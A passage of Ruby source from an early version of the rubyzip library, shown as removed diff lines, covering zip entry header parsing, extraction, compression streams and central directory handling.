internal_produce_input(buf) - end - return value_when_finished if @outputBuffer.length==0 && input_finished? - endIndex= numberOfBytes==nil ? @outputBuffer.length : numberOfBytes - return @outputBuffer.slice!(0...endIndex) - end - - def produce_input - if (@outputBuffer.empty?) - return internal_produce_input - else - return @outputBuffer.slice!(0...(@outputBuffer.length)) - end - end - - # to be used with produce_input, not read (as read may still have more data cached) - # is data cached anywhere other than @outputBuffer? the comment above may be wrong - def input_finished? - @outputBuffer.empty? && internal_input_finished? - end - alias :eof :input_finished? - alias :eof? :input_finished? - - private - - def internal_produce_input(buf = nil) - retried = 0 - begin - @zlibInflater.inflate(@inputStream.read(Decompressor::CHUNK_SIZE, buf)) - rescue Zlib::BufError - raise if (retried >= 5) # how many times should we retry? - retried += 1 - retry - end - end - - def internal_input_finished? - @zlibInflater.finished? - end - - # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ? - def value_when_finished # mimic behaviour of ruby File object. - return nil if @hasReturnedEmptyString - @hasReturnedEmptyString=true - return "" - end - end - - class PassThruDecompressor < Decompressor #:nodoc:all - def initialize(inputStream, charsToRead) - super inputStream - @charsToRead = charsToRead - @readSoFar = 0 - @hasReturnedEmptyString = ! EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST - end - - # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ? - def sysread(numberOfBytes = nil, buf = nil) - if input_finished? - hasReturnedEmptyStringVal=@hasReturnedEmptyString - @hasReturnedEmptyString=true - return "" unless hasReturnedEmptyStringVal - return nil - end - - if (numberOfBytes == nil || @readSoFar+numberOfBytes > @charsToRead) - numberOfBytes = @charsToRead-@readSoFar - end - @readSoFar += numberOfBytes - @inputStream.read(numberOfBytes, buf) - end - - def produce_input - sysread(Decompressor::CHUNK_SIZE) - end - - def input_finished? - (@readSoFar >= @charsToRead) - end - alias :eof :input_finished? - alias :eof? :input_finished? - end - - class NullDecompressor #:nodoc:all - include Singleton - def sysread(numberOfBytes = nil, buf = nil) - nil - end - - def produce_input - nil - end - - def input_finished? - true - end - - def eof - true - end - alias :eof? :eof - end - - class NullInputStream < NullDecompressor #:nodoc:all - include IOExtras::AbstractInputStream - end - - class ZipEntry - STORED = 0 - DEFLATED = 8 - - FSTYPE_FAT = 0 - FSTYPE_AMIGA = 1 - FSTYPE_VMS = 2 - FSTYPE_UNIX = 3 - FSTYPE_VM_CMS = 4 - FSTYPE_ATARI = 5 - FSTYPE_HPFS = 6 - FSTYPE_MAC = 7 - FSTYPE_Z_SYSTEM = 8 - FSTYPE_CPM = 9 - FSTYPE_TOPS20 = 10 - FSTYPE_NTFS = 11 - FSTYPE_QDOS = 12 - FSTYPE_ACORN = 13 - FSTYPE_VFAT = 14 - FSTYPE_MVS = 15 - FSTYPE_BEOS = 16 - FSTYPE_TANDEM = 17 - FSTYPE_THEOS = 18 - FSTYPE_MAC_OSX = 19 - FSTYPE_ATHEOS = 30 - - FSTYPES = { - FSTYPE_FAT => 'FAT'.freeze, - FSTYPE_AMIGA => 'Amiga'.freeze, - FSTYPE_VMS => 'VMS (Vax or Alpha AXP)'.freeze, - FSTYPE_UNIX => 'Unix'.freeze, - FSTYPE_VM_CMS => 'VM/CMS'.freeze, - FSTYPE_ATARI => 'Atari ST'.freeze, - FSTYPE_HPFS => 'OS/2 or NT HPFS'.freeze, - FSTYPE_MAC => 'Macintosh'.freeze, - FSTYPE_Z_SYSTEM => 'Z-System'.freeze, - FSTYPE_CPM => 'CP/M'.freeze, - FSTYPE_TOPS20 => 'TOPS-20'.freeze, - FSTYPE_NTFS => 'NTFS'.freeze, - FSTYPE_QDOS => 'SMS/QDOS'.freeze, - FSTYPE_ACORN => 'Acorn RISC OS'.freeze, - FSTYPE_VFAT => 'Win32 VFAT'.freeze, - FSTYPE_MVS => 'MVS'.freeze, - FSTYPE_BEOS => 'BeOS'.freeze, - FSTYPE_TANDEM => 'Tandem NSK'.freeze, - FSTYPE_THEOS => 'Theos'.freeze, - FSTYPE_MAC_OSX => 'Mac OS/X (Darwin)'.freeze, - FSTYPE_ATHEOS => 'AtheOS'.freeze, - }.freeze - - attr_accessor :comment, :compressed_size, :crc, :extra, :compression_method, - :name, :size, :localHeaderOffset, :zipfile, :fstype, :externalFileAttributes, :gp_flags, :header_signature - - attr_accessor :follow_symlinks - attr_accessor :restore_times, :restore_permissions, :restore_ownership - attr_accessor :unix_uid, :unix_gid, :unix_perms - - attr_reader :ftype, :filepath # :nodoc: - - # Returns the character encoding used for name and comment - def name_encoding - (@gp_flags & 0b100000000000) != 0 ? "utf8" : "CP437//" - end - - - # Converts string encoding - def encode_string(str, src, dst) - if str.respond_to?(:encode) - str.encode(dst, { :invalid => :replace, :undef => :replace, :replace => '' }) - else - begin - Iconv.conv(dst, src, str) - rescue - raise ::RuntimeError, "Your installation does not support iconv (needed for utf8 conversion)" - end - end - end - - # Returns the name in the encoding specified by enc - def name_in(enc) - encode_string(@name, name_encoding, enc) - end - - # Returns the comment in the encoding specified by enc - def comment_in(enc) - encode_string(@comment, name_encoding, enc) - end - - def initialize(zipfile = "", name = "", comment = "", extra = "", - compressed_size = 0, crc = 0, - compression_method = ZipEntry::DEFLATED, size = 0, - time = Time.now) - super() - if name.starts_with("/") - raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /" - end - @localHeaderOffset = 0 - @local_header_size = 0 - @internalFileAttributes = 1 - @externalFileAttributes = 0 - @version = 52 # this library's version - @ftype = nil # unspecified or unknown - @filepath = nil - if Zip::RUNNING_ON_WINDOWS - @fstype = FSTYPE_FAT - else - @fstype = FSTYPE_UNIX - end - @zipfile = zipfile - @comment = comment - @compressed_size = compressed_size - @crc = crc - @extra = extra - @compression_method = compression_method - @name = name - @size = size - @time = time - - @follow_symlinks = false - - @restore_times = true - @restore_permissions = false - @restore_ownership = false - -# BUG: need an extra field to support uid/gid's - @unix_uid = nil - @unix_gid = nil - @unix_perms = nil -# @posix_acl = nil -# @ntfs_acl = nil - - if name_is_directory? - @ftype = :directory - else - @ftype = :file - end - - unless ZipExtraField === @extra - @extra = ZipExtraField.new(@extra.to_s) - end - end - - def time - if @extra["UniversalTime"] - @extra["UniversalTime"].mtime - else - # Atandard time field in central directory has local time - # under archive creator. Then, we can't get timezone. - @time - end - end - alias :mtime :time - - def time=(aTime) - unless @extra.member?("UniversalTime") - @extra.create("UniversalTime") - end - @extra["UniversalTime"].mtime = aTime - @time = aTime - end - - # Returns +true+ if the entry is a directory. - def directory? - raise ZipInternalError, "current filetype is unknown: #{self.inspect}" unless @ftype - @ftype == :directory - end - alias :is_directory :directory? - - # Returns +true+ if the entry is a file. - def file? - raise ZipInternalError, "current filetype is unknown: #{self.inspect}" unless @ftype - @ftype == :file - end - - # Returns +true+ if the entry is a symlink. - def symlink? - raise ZipInternalError, "current filetype is unknown: #{self.inspect}" unless @ftype - @ftype == :symlink - end - - def name_is_directory? #:nodoc:all - (%r{\/$} =~ @name) != nil - end - - def local_entry_offset #:nodoc:all - localHeaderOffset + @local_header_size - end - - def calculate_local_header_size #:nodoc:all - LOCAL_ENTRY_STATIC_HEADER_LENGTH + (@name ? @name.size : 0) + (@extra ? @extra.local_size : 0) - end - - def cdir_header_size #:nodoc:all - CDIR_ENTRY_STATIC_HEADER_LENGTH + (@name ? @name.size : 0) + - (@extra ? @extra.c_dir_size : 0) + (@comment ? @comment.size : 0) - end - - def next_header_offset #:nodoc:all - local_entry_offset + self.compressed_size - end - - # Extracts entry to file destPath (defaults to @name). - def extract(destPath = @name, &onExistsProc) - onExistsProc ||= proc { false } - - if directory? - create_directory(destPath, &onExistsProc) - elsif file? - write_file(destPath, &onExistsProc) - elsif symlink? - create_symlink(destPath, &onExistsProc) - else - raise RuntimeError, "unknown file type #{self.inspect}" - end - - self - end - - def to_s - @name - end - - protected - - def ZipEntry.read_zip_short(io) # :nodoc: - io.read(2).unpack('v')[0] - end - - def ZipEntry.read_zip_long(io) # :nodoc: - io.read(4).unpack('V')[0] - end - public - - LOCAL_ENTRY_SIGNATURE = 0x04034b50 - LOCAL_ENTRY_STATIC_HEADER_LENGTH = 30 - LOCAL_ENTRY_TRAILING_DESCRIPTOR_LENGTH = 4+4+4 - VERSION_NEEDED_TO_EXTRACT = 10 - - def read_local_entry(io) #:nodoc:all - @localHeaderOffset = io.tell - staticSizedFieldsBuf = io.read(LOCAL_ENTRY_STATIC_HEADER_LENGTH) - unless (staticSizedFieldsBuf.size==LOCAL_ENTRY_STATIC_HEADER_LENGTH) - raise ZipError, "Premature end of file. Not enough data for zip entry local header" - end - - @header_signature , - @version , - @fstype , - @gp_flags , - @compression_method, - lastModTime , - lastModDate , - @crc , - @compressed_size , - @size , - nameLength , - extraLength = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv') - - unless (@header_signature == LOCAL_ENTRY_SIGNATURE) - raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" - end - set_time(lastModDate, lastModTime) - - - @name = io.read(nameLength) - extra = io.read(extraLength) - - if (extra && extra.length != extraLength) - raise ZipError, "Truncated local zip entry header" - else - if ZipExtraField === @extra - @extra.merge(extra) - else - @extra = ZipExtraField.new(extra) - end - end - @local_header_size = calculate_local_header_size - end - - def ZipEntry.read_local_entry(io) - entry = new(io.path) - entry.read_local_entry(io) - return entry - rescue ZipError - return nil - end - - def write_local_entry(io) #:nodoc:all - @localHeaderOffset = io.tell - - io << - [LOCAL_ENTRY_SIGNATURE , - VERSION_NEEDED_TO_EXTRACT , # version needed to extract - 0 , # @gp_flags , - @compression_method , - @time.to_binary_dos_time , # @lastModTime , - @time.to_binary_dos_date , # @lastModDate , - @crc , - @compressed_size , - @size , - @name ? @name.length : 0, - @extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv') - io << @name - io << (@extra ? @extra.to_local_bin : "") - end - - CENTRAL_DIRECTORY_ENTRY_SIGNATURE = 0x02014b50 - CDIR_ENTRY_STATIC_HEADER_LENGTH = 46 - - def read_c_dir_entry(io) #:nodoc:all - staticSizedFieldsBuf = io.read(CDIR_ENTRY_STATIC_HEADER_LENGTH) - unless (staticSizedFieldsBuf.size == CDIR_ENTRY_STATIC_HEADER_LENGTH) - raise ZipError, "Premature end of file. Not enough data for zip cdir entry header" - end - - @header_signature , - @version , # version of encoding software - @fstype , # filesystem type - @versionNeededToExtract, - @gp_flags , - @compression_method , - lastModTime , - lastModDate , - @crc , - @compressed_size , - @size , - nameLength , - extraLength , - commentLength , - diskNumberStart , - @internalFileAttributes, - @externalFileAttributes, - @localHeaderOffset , - @name , - @extra , - @comment = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV') - - unless (@header_signature == CENTRAL_DIRECTORY_ENTRY_SIGNATURE) - raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" - end - set_time(lastModDate, lastModTime) - - @name = io.read(nameLength) - if ZipExtraField === @extra - @extra.merge(io.read(extraLength)) - else - @extra = ZipExtraField.new(io.read(extraLength)) - end - @comment = io.read(commentLength) - unless (@comment && @comment.length == commentLength) - raise ZipError, "Truncated cdir zip entry header" - end - - case @fstype - when FSTYPE_UNIX - @unix_perms = (@externalFileAttributes >> 16) & 07777 - - case (@externalFileAttributes >> 28) - when 04 - @ftype = :directory - when 010 - @ftype = :file - when 012 - @ftype = :symlink - else - raise ZipInternalError, "unknown file type #{'0%o' % (@externalFileAttributes >> 28)}" - end - else - if name_is_directory? - @ftype = :directory - else - @ftype = :file - end - end - @local_header_size = calculate_local_header_size - end - - def ZipEntry.read_c_dir_entry(io) #:nodoc:all - entry = new(io.path) - entry.read_c_dir_entry(io) - return entry - rescue ZipError - return nil - end - - def file_stat(path) # :nodoc: - if @follow_symlinks - return File::stat(path) - else - return File::lstat(path) - end - end - - def get_extra_attributes_from_path(path) # :nodoc: - unless Zip::RUNNING_ON_WINDOWS - stat = file_stat(path) - @unix_uid = stat.uid - @unix_gid = stat.gid - @unix_perms = stat.mode & 07777 - end - end - - def set_extra_attributes_on_path(destPath) # :nodoc: - return unless (file? or directory?) - - case @fstype - when FSTYPE_UNIX - # BUG: does not update timestamps into account - # ignore setuid/setgid bits by default. honor if @restore_ownership - unix_perms_mask = 01777 - unix_perms_mask = 07777 if (@restore_ownership) - FileUtils::chmod(@unix_perms & unix_perms_mask, destPath) if (@restore_permissions && @unix_perms) - FileUtils::chown(@unix_uid, @unix_gid, destPath) if (@restore_ownership && @unix_uid && @unix_gid && Process::egid == 0) - # File::utimes() - end - end - - def write_c_dir_entry(io) #:nodoc:all - case @fstype - when FSTYPE_UNIX - ft = nil - case @ftype - when :file - ft = 010 - @unix_perms ||= 0644 - when :directory - ft = 004 - @unix_perms ||= 0755 - when :symlink - ft = 012 - @unix_perms ||= 0755 - else - raise ZipInternalError, "unknown file type #{self.inspect}" - end - - @externalFileAttributes = (ft << 12 | (@unix_perms & 07777)) << 16 - end - - io << - [CENTRAL_DIRECTORY_ENTRY_SIGNATURE, - @version , # version of encoding software - @fstype , # filesystem type - VERSION_NEEDED_TO_EXTRACT , # @versionNeededToExtract , - 0 , # @gp_flags , - @compression_method , - @time.to_binary_dos_time , # @lastModTime , - @time.to_binary_dos_date , # @lastModDate , - @crc , - @compressed_size , - @size , - @name ? @name.length : 0 , - @extra ? @extra.c_dir_length : 0 , - @comment ? comment.length : 0 , - 0 , # disk number start - @internalFileAttributes , # file type (binary=0, text=1) - @externalFileAttributes , # native filesystem attributes - @localHeaderOffset , - @name , - @extra , - @comment ].pack('VCCvvvvvVVVvvvvvVV') - - io << @name - io << (@extra ? @extra.to_c_dir_bin : "") - io << @comment - end - - def == (other) - return false unless other.class == self.class - # Compares contents of local entry and exposed fields - (@compression_method == other.compression_method && - @crc == other.crc && - @compressed_size == other.compressed_size && - @size == other.size && - @name == other.name && - @extra == other.extra && - @filepath == other.filepath && - self.time.dos_equals(other.time)) - end - - def <=> (other) - return to_s <=> other.to_s - end - - # Returns an IO like object for the given ZipEntry. - # Warning: may behave weird with symlinks. - def get_input_stream(&aProc) - if @ftype == :directory - return yield(NullInputStream.instance) if block_given? - return NullInputStream.instance - elsif @filepath - case @ftype - when :file - return File.open(@filepath, "rb", &aProc) - - when :symlink - linkpath = File::readlink(@filepath) - stringio = StringIO.new(linkpath) - return yield(stringio) if block_given? - return stringio - else - raise "unknown @ftype #{@ftype}" - end - else - zis = ZipInputStream.new(@zipfile, localHeaderOffset) - zis.get_next_entry - if block_given? - begin - return yield(zis) - ensure - zis.close - end - else - return zis - end - end - end - - def gather_fileinfo_from_srcpath(srcPath) # :nodoc: - stat = file_stat(srcPath) - case stat.ftype - when 'file' - if name_is_directory? - raise ArgumentError, - "entry name '#{newEntry}' indicates directory entry, but "+ - "'#{srcPath}' is not a directory" - end - @ftype = :file - when 'directory' - if ! name_is_directory? - @name += "/" - end - @ftype = :directory - when 'link' - if name_is_directory? - raise ArgumentError, - "entry name '#{newEntry}' indicates directory entry, but "+ - "'#{srcPath}' is not a directory" - end - @ftype = :symlink - else - raise RuntimeError, "unknown file type: #{srcPath.inspect} #{stat.inspect}" - end - - @filepath = srcPath - get_extra_attributes_from_path(@filepath) - end - - def write_to_zip_output_stream(aZipOutputStream) #:nodoc:all - if @ftype == :directory - aZipOutputStream.put_next_entry(self) - elsif @filepath - aZipOutputStream.put_next_entry(self) - get_input_stream { |is| IOExtras.copy_stream(aZipOutputStream, is) } - else - aZipOutputStream.copy_raw_entry(self) - end - end - - def parent_as_string - entry_name = name.chomp("/") - slash_index = entry_name.rindex("/") - slash_index ? entry_name.slice(0, slash_index+1) : nil - end - - def get_raw_input_stream(&aProc) - File.open(@zipfile, "rb", &aProc) - end - - private - - def set_time(binaryDosDate, binaryDosTime) - @time = Time.parse_binary_dos_format(binaryDosDate, binaryDosTime) - rescue ArgumentError - puts "Invalid date/time in zip entry" - end - - def write_file(destPath, continueOnExistsProc = proc { false }) - if File.exists?(destPath) && ! yield(self, destPath) - raise ZipDestinationFileExistsError, - "Destination '#{destPath}' already exists" - end - File.open(destPath, "wb") do |os| - get_input_stream do |is| - set_extra_attributes_on_path(destPath) - - buf = '' - while buf = is.sysread(Decompressor::CHUNK_SIZE, buf) - os << buf - end - end - end - end - - def create_directory(destPath) - if File.directory? destPath - return - elsif File.exists? destPath - if block_given? && yield(self, destPath) - FileUtils::rm_f destPath - else - raise ZipDestinationFileExistsError, - "Cannot create directory '#{destPath}'. "+ - "A file already exists with that name" - end - end - Dir.mkdir destPath - set_extra_attributes_on_path(destPath) - end - -# BUG: create_symlink() does not use &onExistsProc - def create_symlink(destPath) - stat = nil - begin - stat = File::lstat(destPath) - rescue Errno::ENOENT - end - - io = get_input_stream - linkto = io.read - - if stat - if stat.symlink? - if File::readlink(destPath) == linkto - return - else - raise ZipDestinationFileExistsError, - "Cannot create symlink '#{destPath}'. "+ - "A symlink already exists with that name" - end - else - raise ZipDestinationFileExistsError, - "Cannot create symlink '#{destPath}'. "+ - "A file already exists with that name" - end - end - - File::symlink(linkto, destPath) - end - end - - - # ZipOutputStream is the basic class for writing zip files. It is - # possible to create a ZipOutputStream object directly, passing - # the zip file name to the constructor, but more often than not - # the ZipOutputStream will be obtained from a ZipFile (perhaps using the - # ZipFileSystem interface) object for a particular entry in the zip - # archive. - # - # A ZipOutputStream inherits IOExtras::AbstractOutputStream in order - # to provide an IO-like interface for writing to a single zip - # entry. Beyond methods for mimicking an IO-object it contains - # the method put_next_entry that closes the current entry - # and creates a new. - # - # Please refer to ZipInputStream for example code. - # - # java.util.zip.ZipOutputStream is the original inspiration for this - # class. - - class ZipOutputStream - include IOExtras::AbstractOutputStream - - attr_accessor :comment - - # Opens the indicated zip file. If a file with that name already - # exists it will be overwritten. - def initialize(fileName) - super() - @fileName = fileName - @outputStream = File.new(@fileName, "wb") - @entrySet = ZipEntrySet.new - @compressor = NullCompressor.instance - @closed = false - @currentEntry = nil - @comment = nil - end - - # Same as #initialize but if a block is passed the opened - # stream is passed to the block and closed when the block - # returns. - def ZipOutputStream.open(fileName) - return new(fileName) unless block_given? - zos = new(fileName) - yield zos - ensure - zos.close if zos - end - - # Closes the stream and writes the central directory to the zip file - def close - return if @closed - finalize_current_entry - update_local_headers - write_central_directory - @outputStream.close - @closed = true - end - - # Closes the current entry and opens a new for writing. - # +entry+ can be a ZipEntry object or a string. - def put_next_entry(entryname, comment = nil, extra = nil, compression_method = ZipEntry::DEFLATED, level = Zlib::DEFAULT_COMPRESSION) - raise ZipError, "zip stream is closed" if @closed - new_entry = ZipEntry.new(@fileName, entryname.to_s) - new_entry.comment = comment if !comment.nil? - if (!extra.nil?) - new_entry.extra = ZipExtraField === extra ? extra : ZipExtraField.new(extra.to_s) - end - new_entry.compression_method = compression_method - init_next_entry(new_entry, level) - @currentEntry = new_entry - end - - def copy_raw_entry(entry) - entry = entry.dup - raise ZipError, "zip stream is closed" if @closed - raise ZipError, "entry is not a ZipEntry" if !entry.kind_of?(ZipEntry) - finalize_current_entry - @entrySet << entry - src_pos = entry.local_entry_offset - entry.write_local_entry(@outputStream) - @compressor = NullCompressor.instance - entry.get_raw_input_stream { - |is| - is.seek(src_pos, IO::SEEK_SET) - IOExtras.copy_stream_n(@outputStream, is, entry.compressed_size) - } - @compressor = NullCompressor.instance - @currentEntry = nil - end - - private - def finalize_current_entry - return unless @currentEntry - finish - @currentEntry.compressed_size = @outputStream.tell - @currentEntry.localHeaderOffset - - @currentEntry.calculate_local_header_size - @currentEntry.size = @compressor.size - @currentEntry.crc = @compressor.crc - @currentEntry = nil - @compressor = NullCompressor.instance - end - - def init_next_entry(entry, level = Zlib::DEFAULT_COMPRESSION) - finalize_current_entry - @entrySet << entry - entry.write_local_entry(@outputStream) - @compressor = get_compressor(entry, level) - end - - def get_compressor(entry, level) - case entry.compression_method - when ZipEntry::DEFLATED then Deflater.new(@outputStream, level) - when ZipEntry::STORED then PassThruCompressor.new(@outputStream) - else raise ZipCompressionMethodError, - "Invalid compression method: '#{entry.compression_method}'" - end - end - - def update_local_headers - pos = @outputStream.tell - @entrySet.each { - |entry| - @outputStream.pos = entry.localHeaderOffset - entry.write_local_entry(@outputStream) - } - @outputStream.pos = pos - end - - def write_central_directory - cdir = ZipCentralDirectory.new(@entrySet, @comment) - cdir.write_to_stream(@outputStream) - end - - protected - - def finish - @compressor.finish - end - - public - # Modeled after IO.<< - def << (data) - @compressor << data - end - end - - - class Compressor #:nodoc:all - def finish - end - end - - class PassThruCompressor < Compressor #:nodoc:all - def initialize(outputStream) - super() - @outputStream = outputStream - @crc = Zlib::crc32 - @size = 0 - end - - def << (data) - val = data.to_s - @crc = Zlib::crc32(val, @crc) - @size += val.size - @outputStream << val - end - - attr_reader :size, :crc - end - - class NullCompressor < Compressor #:nodoc:all - include Singleton - - def << (data) - raise IOError, "closed stream" - end - - attr_reader :size, :compressed_size - end - - class Deflater < Compressor #:nodoc:all - def initialize(outputStream, level = Zlib::DEFAULT_COMPRESSION) - super() - @outputStream = outputStream - @zlibDeflater = Zlib::Deflate.new(level, -Zlib::MAX_WBITS) - @size = 0 - @crc = Zlib::crc32 - end - - def << (data) - val = data.to_s - @crc = Zlib::crc32(val, @crc) - @size += val.size - @outputStream << @zlibDeflater.deflate(data) - end - - def finish - until @zlibDeflater.finished? - @outputStream << @zlibDeflater.finish - end - end - - attr_reader :size, :crc - end - - - class ZipEntrySet #:nodoc:all - include Enumerable - - def initialize(anEnumerable = []) - super() - @entrySet = {} - anEnumerable.each { |o| push(o) } - end - - def include?(entry) - @entrySet.include?(entry.to_s) - end - - def <<(entry) - @entrySet[entry.to_s] = entry - end - alias :push :<< - - def size - @entrySet.size - end - alias :length :size - - def delete(entry) - @entrySet.delete(entry.to_s) ? entry : nil - end - - def each(&aProc) - @entrySet.values.each(&aProc) - end - - def entries - @entrySet.values - end - - # deep clone - def dup - newZipEntrySet = ZipEntrySet.new(@entrySet.values.map { |e| e.dup }) - end - - def == (other) - return false unless other.kind_of?(ZipEntrySet) - return @entrySet == other.entrySet - end - - def parent(entry) - @entrySet[entry.parent_as_string] - end - - def glob(pattern, flags = File::FNM_PATHNAME|File::FNM_DOTMATCH) - entries.select { - |entry| - File.fnmatch(pattern, entry.name.chomp('/'), flags) - } - end - -#TODO attr_accessor :auto_create_directories - protected - attr_accessor :entrySet - end - - - class ZipCentralDirectory - include Enumerable - - END_OF_CENTRAL_DIRECTORY_SIGNATURE = 0x06054b50 - MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE = 65536 + 18 - STATIC_EOCD_SIZE = 22 - - attr_reader :comment - - # Returns an Enumerable containing the entries. - def entries - @entrySet.entries - end - - def initialize(entries = ZipEntrySet.new, comment = "") #:nodoc: - super() - @entrySet = entries.kind_of?(ZipEntrySet) ? entries : ZipEntrySet.new(entries) - @comment = comment - end - - def write_to_stream(io) #:nodoc: - offset = io.tell - @entrySet.each { |entry| entry.write_c_dir_entry(io) } - write_e_o_c_d(io, offset) - end - - def write_e_o_c_d(io, offset) #:nodoc: - io << - [END_OF_CENTRAL_DIRECTORY_SIGNATURE, - 0 , # @numberOfThisDisk - 0 , # @numberOfDiskWithStartOfCDir - @entrySet? @entrySet.size : 0 , - @entrySet? @entrySet.size : 0 , - cdir_size , - offset , - @comment ? @comment.length : 0 ].pack('VvvvvVVv') - io << @comment - end - private :write_e_o_c_d - - def cdir_size #:nodoc: - # does not include eocd - @entrySet.inject(0) { |value, entry| entry.cdir_header_size + value } - end - private :cdir_size - - def read_e_o_c_d(io) #:nodoc: - buf = get_e_o_c_d(io) - @numberOfThisDisk = ZipEntry::read_zip_short(buf) - @numberOfDiskWithStartOfCDir = ZipEntry::read_zip_short(buf) - @totalNumberOfEntriesInCDirOnThisDisk = ZipEntry::read_zip_short(buf) - @size = ZipEntry::read_zip_short(buf) - @sizeInBytes = ZipEntry::read_zip_long(buf) - @cdirOffset = ZipEntry::read_zip_long(buf) - commentLength = ZipEntry::read_zip_short(buf) - @comment = buf.read(commentLength) - # remove trailing \n symbol - buf.chomp! - raise ZipError, "Zip consistency problem while reading eocd structure" unless buf.size == 0 - end - - def read_central_directory_entries(io) #:nodoc: - begin - io.seek(@cdirOffset, IO::SEEK_SET) - rescue Errno::EINVAL - raise ZipError, "Zip consistency problem while reading central directory entry" - end - @entrySet = ZipEntrySet.new - @size.times { - @entrySet << ZipEntry.read_c_dir_entry(io) - } - end - - def read_from_stream(io) #:nodoc: - read_e_o_c_d(io) - read_central_directory_entries(io) - end - - def get_e_o_c_d(io) #:nodoc: - begin - io.seek(-MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE, IO::SEEK_END) - rescue Errno::EINVAL - io.seek(0, IO::SEEK_SET) - rescue Errno::EFBIG # FreeBSD 4.9 raise Errno::EFBIG instead of Errno::EINVAL - io.seek(0, IO::SEEK_SET) - end - - # 'buf = io.read' substituted with lump of code to work around FreeBSD 4.5 issue - retried = false - buf = nil - begin - buf = io.read - rescue Errno::EFBIG # FreeBSD 4.5 may raise Errno::EFBIG - raise if (retried) - retried = true - - io.seek(0, IO::SEEK_SET) - retry - end - - sigIndex = buf.rindex([END_OF_CENTRAL_DIRECTORY_SIGNATURE].pack('V')) - raise ZipError, "Zip end of central directory signature not found" unless sigIndex - buf=buf.slice!((sigIndex+4)...(buf.size)) - def buf.read(count) - slice!(0, count) - end - return buf - end - - # For iterating over the entries. - def each(&proc) - @entrySet.each(&proc) - end - - # Returns the number of entries in the central directory (and - # consequently in the zip archive). - def size - @entrySet.size - end - - def ZipCentralDirectory.read_from_stream(io) #:nodoc: - cdir = new - cdir.read_from_stream(io) - return cdir - rescue ZipError - return nil - end - - def == (other) #:nodoc: - return false unless other.kind_of?(ZipCentralDirectory) - @entrySet.entries.sort == other.entries.sort && comment == other.comment - end - end - - - class ZipError < StandardError ; end - - class ZipEntryExistsError < ZipError; end - class ZipDestinationFileExistsError < ZipError; end - class ZipCompressionMethodError < ZipError; end - class ZipEntryNameError < ZipError; end - class ZipInternalError < ZipError; end - - # ZipFile is modeled after java.util.zip.ZipFile from the Java SDK. - # The most important methods are those inherited from - # ZipCentralDirectory for accessing information about the entries in - # the archive and methods such as get_input_stream and - # get_output_stream for reading from and writing entries to the - # archive. The class includes a few convenience methods such as - # #extract for extracting entries to the filesystem, and #remove, - # #replace, #rename and #mkdir for making simple modifications to - # the archive. - # - # Modifications to a zip archive are not committed until #commit or - # #close is called. The method #open accepts a block following - # the pattern from File.open offering a simple way to - # automatically close the archive when the block returns. - # - # The following example opens zip archive my.zip - # (creating it if it doesn't exist) and adds an entry - # first.txt and a directory entry a_dir - # to it. - # - # require 'zip/zip' - # - # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { - # |zipfile| - # zipfile.get_output_stream("first.txt") { |f| f.puts "Hello from ZipFile" } - # zipfile.mkdir("a_dir") - # } - # - # The next example reopens my.zip writes the contents of - # first.txt to standard out and deletes the entry from - # the archive. - # - # require 'zip/zip' - # - # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { - # |zipfile| - # puts zipfile.read("first.txt") - # zipfile.remove("first.txt") - # } - # - # ZipFileSystem offers an alternative API that emulates ruby's - # interface for accessing the filesystem, ie. the File and Dir classes. - - class ZipFile < ZipCentralDirectory - - CREATE = 1 - - attr_reader :name - - # default -> false - attr_accessor :restore_ownership - # default -> false - attr_accessor :restore_permissions - # default -> true - attr_accessor :restore_times - - # Opens a zip archive. Pass true as the second parameter to create - # a new archive if it doesn't exist already. - def initialize(fileName, create = nil) - super() - @name = fileName - @comment = "" - if (File.exists?(fileName)) - File.open(name, "rb") { |f| read_from_stream(f) } - elsif (create) - @entrySet = ZipEntrySet.new - else - raise ZipError, "File #{fileName} not found" - end - @create = create - @storedEntries = @entrySet.dup - - @restore_ownership = false - @restore_permissions = false - @restore_times = true - end - - # Same as #new. If a block is passed the ZipFile object is passed - # to the block and is automatically closed afterwards just as with - # ruby's builtin File.open method. - def ZipFile.open(fileName, create = nil) - zf = ZipFile.new(fileName, create) - if block_given? - begin - yield zf - ensure - zf.close - end - else - zf - end - end - - # Returns the zip files comment, if it has one - attr_accessor :comment - - # Iterates over the contents of the ZipFile. This is more efficient - # than using a ZipInputStream since this methods simply iterates - # through the entries in the central directory structure in the archive - # whereas ZipInputStream jumps through the entire archive accessing the - # local entry headers (which contain the same information as the - # central directory). - def ZipFile.foreach(aZipFileName, &block) - ZipFile.open(aZipFileName) { - |zipFile| - zipFile.each(&block) - } - end - - # Returns an input stream to the specified entry. If a block is passed - # the stream object is passed to the block and the stream is automatically - # closed afterwards just as with ruby's builtin File.open method. - def get_input_stream(entry, &aProc) - get_entry(entry).get_input_stream(&aProc) - end - - # Returns an output stream to the specified entry. If a block is passed - # the stream object is passed to the block and the stream is automatically - # closed afterwards just as with ruby's builtin File.open method. - def get_output_stream(entry, &aProc) - newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s) - if newEntry.directory? - raise ArgumentError, - "cannot open stream to directory entry - '#{newEntry}'" - end - zipStreamableEntry = ZipStreamableStream.new(newEntry) - @entrySet << zipStreamableEntry - zipStreamableEntry.get_output_stream(&aProc) - end - - # Returns the name of the zip archive - def to_s - @name - end - - # Returns a string containing the contents of the specified entry - def read(entry) - get_input_stream(entry) { |is| is.read } - end - - # Convenience method for adding the contents of a file to the archive - def add(entry, srcPath, &continueOnExistsProc) - continueOnExistsProc ||= proc { false } - check_entry_exists(entry, continueOnExistsProc, "add") - newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s) - newEntry.gather_fileinfo_from_srcpath(srcPath) - @entrySet << newEntry - end - - # Removes the specified entry. - def remove(entry) - @entrySet.delete(get_entry(entry)) - end - - # Renames the specified entry. - def rename(entry, newName, 